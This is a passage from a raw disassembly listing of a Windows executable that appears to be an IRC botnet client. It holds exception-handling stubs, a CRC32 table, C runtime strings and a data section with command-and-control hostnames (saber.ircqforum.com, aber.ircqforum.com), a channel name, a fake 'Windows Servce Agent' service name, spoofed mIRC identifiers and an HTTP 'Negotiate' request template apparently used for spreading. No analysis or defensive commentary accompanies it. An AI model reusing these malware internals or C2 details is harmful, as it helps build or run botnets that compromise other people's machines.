___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25C10E4h, 25D0000h, 25D07F5h, 25E0000h, 25E0AFDh dd 25F0000h, 25F0466h, 25F0526h, 2600000h, 2600766h, 2600D1Dh dd 2610000h, 26107BEh, 2610A21h dword_42703C dd 2610A5Eh ; DATA XREF: ___:004231D9r dd 2610B17h, 2610D94h, 2610DDAh, 2620000h, 2630000h, 2640000h dd 2650000h, 265036Ch, 2650918h, 77E75CB5h dword_427068 dd 265092Ah ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2650BFCh, 2660000h, 2670000h dword_427078 dd 26705B3h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2670659h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2670881h dword_427084 dd 267090Eh ; DATA XREF: sub_4196BC+B9r dd 2670F83h dword_42708C dd 2680000h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2680043h ; DATA XREF: ___:loc_4013DCr dd 2680399h, 26804D6h dword_42709C dd 268056Eh ; DATA XREF: sub_409B12+2r dd 268065Ah, 26806FCh dword_4270A8 dd 2680D12h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 2680DC8h ; DATA XREF: sub_410CD5:loc_410DC1r dd 2690000h, 2690C0Ah dword_4270B8 dd 2690CB0h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26B0000h, 26C0000h, 26C055Ah, 26D0000h, 77F7E300h, 77F7E21Fh dd 26D0578h, 26D070Fh, 26E0000h, 26E0952h dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F0867h ; DATA XREF: sub_418293+36r dd 26F0B2Fh, 2700000h dword_4270F8 dd 2700543h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 271158Ah, 2720000h, 2720A09h, 2730000h, 2730767h, 2740000h dd 2750000h, 2760000h, 2770000h, 277032Fh, 27703C3h, 27704B0h dd 2780000h, 2780332h, 278064Eh dword_42713C dd 278098Fh ; DATA XREF: sub_416F1A+BCr dd 2790000h dword_427144 dd 27A0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27A0A09h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27A0AAEh dword_427150 dd 27A0CD3h ; DATA XREF: sub_417275+56r dd 27B0000h, 27C0000h, 27C10BBh, 27C16E2h, 27D0000h, 27D032Dh dd 27D04CAh, 27E0000h, 27E06EBh, 27F0000h dword_42717C dd 27F116Ah ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2800000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2801157h, 28015A1h, 2801A35h, 2810000h, 2820000h, 2830000h dd 2840000h, 2850000h, 2860000h, 2870000h, 2871AFFh, 2871B21h dd 2880000h, 2890000h, 2890191h dword_4271C0 dd 289079Ah ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2890966h ; DATA XREF: sub_41E976:loc_41E9A7r dd 2890AF8h, 28A0000h, 28A06F8h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(6311C8DBh), 5 dup(2F75967Ch), 5 dup(0E3B2A07h) dd 7Ah dup(0) dd 0E3B2A07h, 0 dd 6311C8DBh, 15h dup(0) dd 2F75967Ch, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled 